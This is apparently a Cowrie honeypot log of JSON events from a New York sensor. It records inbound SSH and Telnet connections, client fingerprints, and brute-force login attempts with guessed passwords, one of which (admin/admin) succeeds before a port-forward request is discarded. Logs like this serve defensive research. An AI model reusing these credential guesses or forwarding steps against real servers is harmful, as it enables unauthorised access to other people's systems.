{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:18.377955Z","src_ip":"103.27.238.120","session":"4bb72497e112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.0514349937439,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:18.796656Z","src_ip":"152.42.224.71","session":"bcee93ede810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":58462,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f4a3e976f1","protocol":"ssh","message":"New connection: 197.248.104.31:58462 (10.17.0.5:22) [session: 81f4a3e976f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:32.038227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:32.044675Z","src_ip":"197.248.104.31","session":"81f4a3e976f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:32.258019Z","src_ip":"197.248.104.31","session":"81f4a3e976f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angela","message":"login attempt [root/angela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:33.131709Z","src_ip":"197.248.104.31","session":"81f4a3e976f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:34.346384Z","src_ip":"197.248.104.31","session":"81f4a3e976f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58886,"dst_ip":"10.17.0.5","dst_port":23,"session":"af6c62082dc0","protocol":"telnet","message":"New connection: 152.42.224.71:58886 (10.17.0.5:23) [session: af6c62082dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:37.463118Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38920,"dst_ip":"159.203.135.109","dst_port":22,"session":"dccdd1fa2c27","protocol":"ssh","message":"New connection: 193.37.70.224:38920 (159.203.135.109:22) [session: dccdd1fa2c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:44.377047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:44.381311Z","src_ip":"193.37.70.224","session":"dccdd1fa2c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:44.480874Z","src_ip":"193.37.70.224","session":"dccdd1fa2c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena123","message":"login attempt [root/lena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:44.781791Z","src_ip":"193.37.70.224","session":"dccdd1fa2c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:45.886136Z","src_ip":"193.37.70.224","session":"dccdd1fa2c27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50130,"dst_ip":"10.17.0.5","dst_port":23,"session":"0316ebe819a4","protocol":"telnet","message":"New connection: 152.42.224.71:50130 (10.17.0.5:23) [session: 0316ebe819a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:46.792194Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f82aa76f948b","protocol":"ssh","message":"New connection: 87.251.64.176:42882 (10.17.0.5:22) [session: f82aa76f948b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:50.034958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:50.040039Z","src_ip":"87.251.64.176","session":"f82aa76f948b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:50.136882Z","src_ip":"87.251.64.176","session":"f82aa76f948b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:50.432370Z","src_ip":"87.251.64.176","session":"f82aa76f948b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:50.531479Z","session":"f82aa76f948b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:50.631763Z","src_ip":"87.251.64.176","session":"f82aa76f948b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:50.865771Z","src_ip":"87.251.64.176","session":"f82aa76f948b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.42609405517578,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:51.771345Z","src_ip":"152.42.224.71","session":"62d76f65725a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50072,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e94b9010033","protocol":"telnet","message":"New connection: 152.42.224.71:50072 (10.17.0.5:23) [session: 8e94b9010033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:20:56.493529Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2549,"dst_ip":"10.17.0.5","dst_port":22,"session":"125a12d248bd","protocol":"ssh","message":"New connection: 181.0.214.136:2549 (10.17.0.5:22) [session: 125a12d248bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:01.365371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:01.372318Z","src_ip":"181.0.214.136","session":"125a12d248bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:01.537879Z","src_ip":"181.0.214.136","session":"125a12d248bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.367419242858887,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:01.830381Z","src_ip":"152.42.224.71","session":"af6c62082dc0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"florence","message":"login attempt [root/florence] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:02.212879Z","src_ip":"181.0.214.136","session":"125a12d248bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:03.377519Z","src_ip":"181.0.214.136","session":"125a12d248bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":38428,"dst_ip":"10.17.0.5","dst_port":22,"session":"85efd65032a0","protocol":"ssh","message":"New connection: 58.186.20.143:38428 (10.17.0.5:22) [session: 85efd65032a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:05.783568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:05.788581Z","src_ip":"58.186.20.143","session":"85efd65032a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:06.037995Z","src_ip":"58.186.20.143","session":"85efd65032a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tablet","message":"login attempt [root/tablet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:07.067158Z","src_ip":"58.186.20.143","session":"85efd65032a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:08.320266Z","src_ip":"58.186.20.143","session":"85efd65032a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59774,"dst_ip":"10.17.0.5","dst_port":23,"session":"f133a626bd08","protocol":"telnet","message":"New connection: 152.42.224.71:59774 (10.17.0.5:23) [session: f133a626bd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:13.384964Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53606,"dst_ip":"10.17.0.5","dst_port":22,"session":"72fbfb1a5208","protocol":"ssh","message":"New connection: 103.153.68.219:53606 (10.17.0.5:22) [session: 72fbfb1a5208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:14.198837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:14.205254Z","src_ip":"103.153.68.219","session":"72fbfb1a5208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:14.458776Z","src_ip":"103.153.68.219","session":"72fbfb1a5208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22222","message":"login attempt [root/22222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:15.220054Z","src_ip":"103.153.68.219","session":"72fbfb1a5208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:16.479150Z","src_ip":"103.153.68.219","session":"72fbfb1a5208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.772550106048584,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:35.564578Z","src_ip":"152.42.224.71","session":"0316ebe819a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37380,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a0c7e794696","protocol":"telnet","message":"New connection: 152.42.224.71:37380 (10.17.0.5:23) [session: 2a0c7e794696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:36.893969Z"}
{"eventid":"cowrie.session.closed","duration":41.90220069885254,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:38.395615Z","src_ip":"152.42.224.71","session":"8e94b9010033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":44184,"dst_ip":"159.203.135.109","dst_port":22,"session":"8945adeadc88","protocol":"ssh","message":"New connection: 59.16.212.232:44184 (159.203.135.109:22) [session: 8945adeadc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:53.175470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:53.180371Z","src_ip":"59.16.212.232","session":"8945adeadc88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:53.382195Z","src_ip":"59.16.212.232","session":"8945adeadc88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4603ea363c4","protocol":"telnet","message":"New connection: 152.42.224.71:60370 (10.17.0.5:23) [session: d4603ea363c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:53.536736Z"}
{"eventid":"cowrie.login.failed","username":"noc","password":"noc2026","message":"login attempt [noc/noc2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:54.221109Z","src_ip":"59.16.212.232","session":"8945adeadc88","protocol":"ssh"}
